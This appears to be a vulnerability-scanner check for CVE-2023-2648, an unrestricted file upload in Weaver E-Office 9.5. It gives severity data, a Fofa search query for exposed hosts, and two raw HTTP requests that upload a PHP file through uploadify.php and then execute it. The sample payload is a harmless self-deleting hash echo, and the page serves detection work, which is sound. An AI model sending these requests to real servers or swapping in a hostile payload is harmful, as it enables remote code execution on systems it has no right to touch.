| Title | Weaver E-Office 9.5 - Remote Code Execution |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patch or upgrade to a patched version of Weaver E-Office. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93096 |
| CVE ID | CVE-2023-2648 |
| CWE ID | CWE-434 |
| Fofa Query | app="泛微-EOffice"app="泛微-eoffice" |
| Tags | cve2023 cve weaver eoffice ecology fileupload rce intrusive vkev vuln |
A vulnerability was found in Weaver E-Office 9.5. It has been classified as critical. This affects an unknown part of the file /inc/jquery/uploadify/uploadify.php. The manipulation of the argument Filedata leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-228777 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/4.0
Connection: close
Content-Length: 237
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Accept-Encoding: gzip
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="Filedata"; filename="cbccb.php."
Content-Type: image/jpeg
<?php echo md5("CVE-2023-2648");unlink(__FILE__);?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
POST /attachment/LfSyNL/cbccb.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Connection: close
Transfer-Encoding: chunked
Accept-Encoding: gzip
0
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N/AN/A